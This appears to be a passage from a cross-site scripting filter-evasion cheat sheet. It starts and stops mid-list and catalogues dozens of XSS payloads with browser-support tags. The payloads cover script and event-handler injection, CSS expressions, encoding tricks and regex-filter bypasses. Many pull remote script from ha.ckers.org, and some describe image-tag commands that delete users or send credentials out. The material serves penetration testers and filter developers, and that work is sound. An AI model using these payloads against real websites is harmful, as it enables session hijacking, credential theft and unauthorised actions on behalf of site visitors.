Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS with no single quotes or double quotes or semicolons:
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a=”\”;alert(‘XSS’);//”;</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:
“;alert(‘XSS’);//

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

INPUT image:
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

BODY image:
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

BODY tag (I like this method because it doesn’t require using any variants of “javascript:” or “<SCRIPT…” to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (“onload=” != “onload =”):
<BODY ONLOAD=alert(‘XSS’)>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:
1. FSCommand() (attacker can use this when executed from within an embedded Flash object) 2. onAbort() (when user aborts the loading of an image) 3. onActivate() (when object is set as the active element) 4. onAfterPrint() (activates after user prints or previews print job) 5. onAfterUpdate() (activates on data object after updating data in the source object) 6. onBeforeActivate() (fires before the object is set as the active element) 7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard – attackers can do this with the execCommand(“Copy”) function) 8. onBeforeCut() (attacker executes the attack string right before a selection is cut) 9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object) 10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) 11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(“Paste”) function) 12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(“Print”) function). 13. onBeforeUnload() (user would need to be tricked into closing the browser – attacker cannot unload windows unless it was spawned from the parent) 14. onBegin() (the onbegin event fires immediately when the element’s timeline begins) 15. onBlur() (in the case where another popup is loaded and window looses focus) 16. onBounce() (fires when the behavior property of the marquee object is set to “alternate” and the contents of the marquee reach one side of the window) 17. onCellChange() (fires when data changes in the data provider) 18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified) 19. onClick() (someone clicks on a form) 20. onContextMenu() (user would need to right click on attack area) 21. onControlSelect() (fires when the user is about to make a control selection of the object) 22. onCopy() (user needs to copy something or it can be exploited using the execCommand(“Copy”) command) 23. onCut() (user needs to copy something or it can be exploited using the execCommand(“Cut”) command) 24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function) 25. onDataSetChanged() (fires when the data set exposed by a data source object changes) 26. onDataSetComplete() (fires to indicate that all data is available from the data source object) 27. onDblClick() (user double-clicks a form element or a link) 28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) 29. onDrag() (requires that the user drags an object) 30. onDragEnd() (requires that the user drags an object) 31. onDragLeave() (requires that the user drags an object off a valid location) 32. onDragEnter() (requires that the user drags an object into a valid location) 33. onDragOver() (requires that the user drags an object into a valid location) 34. onDragDrop() (user drops an object (e.g. file) onto the browser window) 35. onDrop() (user drops an object (e.g. file) onto the browser window) 36. onEnd() (the onEnd event fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE=”behavior:url(‘#default#time2′)” onEnd=”alert(‘XSS’)”>) 37. onError() (loading of a document or image causes an error) 38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) 39. onFilterChange() (fires when a visual filter completes state change) 40. onFinish() (attacker can create the exploit when marquee is finished looping) 41. onFocus() (attacker executes the attack string when the window gets focus) 42. onFocusIn() (attacker executes the attack string when window gets focus) 43. onFocusOut() (attacker executes the attack string when window looses focus) 44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) 45. onKeyDown() (user depresses a key) 46. onKeyPress() (user presses or holds down a key) 47. onKeyUp() (user releases a key) 48. onLayoutComplete() (user would have to print or print preview) 49. onLoad() (attacker executes the attack string after the window loads) 50. onLoseCapture() (can be exploited by the releaseCapture() method) 51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing) 52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) 53. onMouseDown() (the attacker would need to get the user to click on an image) 54. onMouseEnter() (cursor moves over an object or area) 55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) 56. onMouseMove() (the attacker would need to get the user to mouse over an image or table) 57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) 58. onMouseOver() (cursor moves over an object or area) 59. onMouseUp() (the attacker would need to get the user to click on an image) 60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel) 61. onMove() (user or attacker would move the page) 62. onMoveEnd() (user or attacker would move the page) 63. onMoveStart() (user or attacker would move the page) 64. onOutOfSync() (interrupt the element’s ability to play its media as defined by the timeline) 65. onPaste() (user would need to paste or attacker could use the execCommand(“Paste”) function) 66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element) 67. onProgress() (attacker would use this as a flash movie was loading) 68. onPropertyChange() (user or attacker would need to change an element property) 69. onReadyStateChange() (user or attacker would need to change an element property) 70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle) 71. onReset() (user or attacker resets a form) 72. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 73. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 74. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element) 76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) 77. onRowsEnter() (user or attacker would need to change a row in a data source) 78. onRowExit() (user or attacker would need to change a row in a data source) 79. onRowDelete() (user or attacker would need to delete a row in a data source) 80. onRowInserted() (user or attacker would need to insert a row in a data source) 81. onScroll() (user would need to scroll, or attacker could use the scrollBy() function) 82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward) 83. onSelect() (user needs to select some text – attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);) 84. onSelectionChange() (user needs to select some text – attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);) 85. onSelectStart() (user needs to select some text – attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);) 86. onStart() (fires at the beginning of each marquee loop) 87. onStop() (user would need to press the stop button or leave the webpage) 88. onSyncRestored() (user interrupts the element’s ability to play its media as defined by the timeline to fire) 89. onSubmit() (requires attacker or user submits a form) 90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value) 91. onTrackChange() (user or attacker changes track in a playList) 92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click) 93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) 94. seekSegmentTime() (this is a method that locates the specified point on the element’s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

IMG Dynsrc:
<IMG DYNSRC=”javascript:alert(‘XSS’)”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG lowsrc:
<IMG LOWSRC=”javascript:alert(‘XSS’)”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

BGSOUND:
<BGSOUND SRC=”javascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

& JavaScript includes (works in Netscape 4.x):
<BR SIZE=”&{alert(‘XSS’)}”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

LAYER (also only works in Netscape 4.x)
<LAYER SRC=”http://ha.ckers.org/scriptlet.html”></LAYER>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

STYLE sheet:
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won’t work unless there is some content on the page other than the vector itself, so you’ll need to add a single letter to the page to make it work if it’s an otherwise blank page:
<LINK REL=”stylesheet” HREF=”http://ha.ckers.org/xss.css”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
<STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet part 3. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css>; REL=stylesheet”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}</STYLE>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE=”behavior: url(xss.htc);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

VBscript in an image:
<IMG SRC=’vbscript:msgbox(“XSS”)’>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Mocha (older versions of Netscape only):
<IMG SRC=”mocha:[code]">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

Livescript (older versions of Netscape only):
<IMG SRC="livescript:[code]">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at my charsets issues page:
¼script¾alert(¢XSS¢)¼/script¾

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IFRAME (if iframes are allowed there are a lot of other XSS problems as well):
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

FRAME (frames have the same sorts of XSS problems as iframes):
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

TABLE (who would have thought tables were XSS targets... except me, of course):
<TABLE BACKGROUND="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):
<TABLE><TD BACKGROUND="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

DIV background-image:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:
<DIV STYLE="background-image:�075�072�06C�028'�06a�061�076�061�073�063�072�069�070�074�03a�061�06c�065�072�074�028.1027�058.1053�053�027�029'�029">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
<DIV STYLE="width: expression(alert('XSS'));">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):
<STYLE>@import'javascript:alert("XSS")';</STYLE>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):
<XSS STYLE="xss:expression(alert('XSS'))">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):
exp/*<A STYLE='noxss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE tag (Older versions of Netscape only):
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

STYLE tag using background-image:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE tag using background:
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:
<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
<BASE HREF="javascript:alert('XSS');//">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>

Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

You can EMBED SVG which can contain your XSS vector. This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Using ActionScript inside flash can obfuscate your XSS vector:
a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")"; eval(a+b+c+d);

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XML namespace. The htc file must be located on the same server as your XSS vector:
<HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> </HTML>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):
<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:
<XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"> </BODY></HTML>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:
<? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS using HTML quote encapsulation:

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i" (this is an important one, because I've seen this regex in the wild):
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Another XSS to evade the same filter, "/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i":
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Yet another XSS to evade the same filter, "/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

And one last XSS attack to evade, "/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i" using grave accents (again, doesn't work in Firefox):
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

IP verses hostname:
<A HREF="http://66.102.7.147/">XSS</A>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

URL encoding:
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<A HREF="http://1113982867/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):
<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:
